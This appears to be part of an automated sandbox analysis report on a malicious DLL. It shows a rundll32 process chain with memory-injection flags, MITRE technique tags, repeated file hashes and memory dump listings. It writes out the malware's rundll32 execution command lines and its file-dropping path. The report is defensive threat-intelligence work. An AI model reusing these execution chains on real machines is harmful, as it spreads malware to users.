- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1580

C:\Windows\system32\rundll32.exe
"C:\Windows\system32\rundll32.exe" C:\Users\Admin\Kaktksw\An6othh\N49I.dll AnyString
3⤵
- Suspicious use of WriteProcessMemory
PID:1820

C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\system32\rundll32.exe" C:\Users\Admin\Kaktksw\An6othh\N49I.dll AnyString
4⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1676

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Users\Admin\Kaktksw\An6othh\N49I.dll",#1
5⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:892

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Tolttha\mzwthx.rai",LaLaak
6⤵
- Suspicious use of WriteProcessMemory
PID:540

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Tolttha\mzwthx.rai",#1
7⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
PID:1080

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\Kaktksw\An6othh\N49I.dll
MD5
e09f65c1a92653035b27e603980cb205

SHA1
78dca7a2190c82dc8dc4a0eac302379804c79aa9

SHA256
d09bace1490f6ee322262ff2da373e861f3b3b9bc03c386ce8a031648f1eaa4f

SHA512
5d55bc984f6a044877912cbe0ba40de0210cf25c7e4fb32cbe6db9d5c60306280cd5ec84df1674024ca89ad67fa49f7aa55cf5bceae458d90ce6d86cf209d8d3

Download Submit
\Users\Admin\Kaktksw\An6othh\N49I.dll
MD5
e09f65c1a92653035b27e603980cb205

SHA1
78dca7a2190c82dc8dc4a0eac302379804c79aa9

SHA256
d09bace1490f6ee322262ff2da373e861f3b3b9bc03c386ce8a031648f1eaa4f

SHA512
5d55bc984f6a044877912cbe0ba40de0210cf25c7e4fb32cbe6db9d5c60306280cd5ec84df1674024ca89ad67fa49f7aa55cf5bceae458d90ce6d86cf209d8d3

Download Submit
\Users\Admin\Kaktksw\An6othh\N49I.dll
MD5
e09f65c1a92653035b27e603980cb205

SHA1
78dca7a2190c82dc8dc4a0eac302379804c79aa9

SHA256
d09bace1490f6ee322262ff2da373e861f3b3b9bc03c386ce8a031648f1eaa4f

SHA512
5d55bc984f6a044877912cbe0ba40de0210cf25c7e4fb32cbe6db9d5c60306280cd5ec84df1674024ca89ad67fa49f7aa55cf5bceae458d90ce6d86cf209d8d3

Download Submit
\Users\Admin\Kaktksw\An6othh\N49I.dll
MD5
e09f65c1a92653035b27e603980cb205

SHA1
78dca7a2190c82dc8dc4a0eac302379804c79aa9

SHA256
d09bace1490f6ee322262ff2da373e861f3b3b9bc03c386ce8a031648f1eaa4f

SHA512
5d55bc984f6a044877912cbe0ba40de0210cf25c7e4fb32cbe6db9d5c60306280cd5ec84df1674024ca89ad67fa49f7aa55cf5bceae458d90ce6d86cf209d8d3

Download Submit
\Users\Admin\Kaktksw\An6othh\N49I.dll
MD5
e09f65c1a92653035b27e603980cb205

SHA1
78dca7a2190c82dc8dc4a0eac302379804c79aa9

SHA256
d09bace1490f6ee322262ff2da373e861f3b3b9bc03c386ce8a031648f1eaa4f

SHA512
5d55bc984f6a044877912cbe0ba40de0210cf25c7e4fb32cbe6db9d5c60306280cd5ec84df1674024ca89ad67fa49f7aa55cf5bceae458d90ce6d86cf209d8d3

Download Submit
\Users\Admin\Kaktksw\An6othh\N49I.dll
MD5
e09f65c1a92653035b27e603980cb205

SHA1
78dca7a2190c82dc8dc4a0eac302379804c79aa9

SHA256
d09bace1490f6ee322262ff2da373e861f3b3b9bc03c386ce8a031648f1eaa4f

SHA512
5d55bc984f6a044877912cbe0ba40de0210cf25c7e4fb32cbe6db9d5c60306280cd5ec84df1674024ca89ad67fa49f7aa55cf5bceae458d90ce6d86cf209d8d3

Download Submit
\Users\Admin\Kaktksw\An6othh\N49I.dll
MD5
e09f65c1a92653035b27e603980cb205

SHA1
78dca7a2190c82dc8dc4a0eac302379804c79aa9

SHA256
d09bace1490f6ee322262ff2da373e861f3b3b9bc03c386ce8a031648f1eaa4f

SHA512
5d55bc984f6a044877912cbe0ba40de0210cf25c7e4fb32cbe6db9d5c60306280cd5ec84df1674024ca89ad67fa49f7aa55cf5bceae458d90ce6d86cf209d8d3

Download Submit
\Users\Admin\Kaktksw\An6othh\N49I.dll
MD5
e09f65c1a92653035b27e603980cb205

SHA1
78dca7a2190c82dc8dc4a0eac302379804c79aa9

SHA256
d09bace1490f6ee322262ff2da373e861f3b3b9bc03c386ce8a031648f1eaa4f

SHA512
5d55bc984f6a044877912cbe0ba40de0210cf25c7e4fb32cbe6db9d5c60306280cd5ec84df1674024ca89ad67fa49f7aa55cf5bceae458d90ce6d86cf209d8d3

Download Submit
\Users\Admin\Kaktksw\An6othh\N49I.dll
MD5
e09f65c1a92653035b27e603980cb205

SHA1
78dca7a2190c82dc8dc4a0eac302379804c79aa9

SHA256
d09bace1490f6ee322262ff2da373e861f3b3b9bc03c386ce8a031648f1eaa4f

SHA512
5d55bc984f6a044877912cbe0ba40de0210cf25c7e4fb32cbe6db9d5c60306280cd5ec84df1674024ca89ad67fa49f7aa55cf5bceae458d90ce6d86cf209d8d3

Download Submit
memory/316-6-0x0000000000000000-mapping.dmp

Download
memory/540-41-0x0000000000761000-0x00000000007C4000-memory.dmp

Filesize
396KB

Download
memory/540-35-0x0000000000000000-mapping.dmp

Download
memory/892-36-0x0000000000161000-0x00000000001C4000-memory.dmp

Filesize
396KB

Download
memory/892-26-0x0000000000000000-mapping.dmp

Download
memory/1080-38-0x0000000000000000-mapping.dmp

Download
memory/1080-43-0x0000000000251000-0x00000000002B4000-memory.dmp

Filesize
396KB

Download
memory/1108-2-0x0000000072551000-0x0000000072554000-memory.dmp

Filesize
12KB

Download
memory/1108-5-0x00000000760D1000-0x00000000760D3000-memory.dmp

Filesize
8KB

Download
memory/1108-4-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/1108-3-0x000000006FFD1000-0x000000006FFD3000-memory.dmp

Filesize
8KB

Download
memory/1256-44-0x000007FEF7510000-0x000007FEF778A000-memory.dmp

Filesize
2.5MB

Download
memory/1580-11-0x000000001ACE0000-0x000000001ACE1000-memory.dmp

Filesize
4KB

Download
memory/1580-12-0x00000000024B0000-0x00000000024B1000-memory.dmp

Filesize
4KB

Download
memory/1580-7-0x0000000000000000-mapping.dmp

Download
memory/1580-17-0x0000000002690000-0x0000000002691000-memory.dmp

Filesize
4KB

Download
memory/1580-16-0x000000001C460000-0x000000001C461000-memory.dmp

Filesize
4KB

Download
memory/1580-15-0x00000000024E0000-0x00000000024E1000-memory.dmp

Filesize
4KB

Download
memory/1580-14-0x000000001AC64000-0x000000001AC66000-memory.dmp

Filesize
8KB

Download
memory/1580-8-0x000007FEFBA51000-0x000007FEFBA53000-memory.dmp

Filesize
8KB

Download
memory/1580-9-0x000007FEF52C0000-0x000007FEF5CAC000-memory.dmp

Filesize
9.9MB

Download
memory/1580-13-0x000000001AC60000-0x000000001AC62000-memory.dmp

Filesize
8KB

Download
memory/1580-10-0x0000000002370000-0x0000000002371000-memory.dmp

Filesize
4KB

Download
memory/1628-45-0x0000000000000000-mapping.dmp

Download
memory/1676-20-0x0000000000000000-mapping.dmp

Download
memory/1676-32-0x00000000003E0000-0x0000000000407000-memory.dmp

Filesize
156KB

Download
memory/1676-33-0x0000000000141000-0x00000000001A4000-memory.dmp

Filesize
396KB

Download
memory/1820-18-0x0000000000000000-mapping.dmp

Download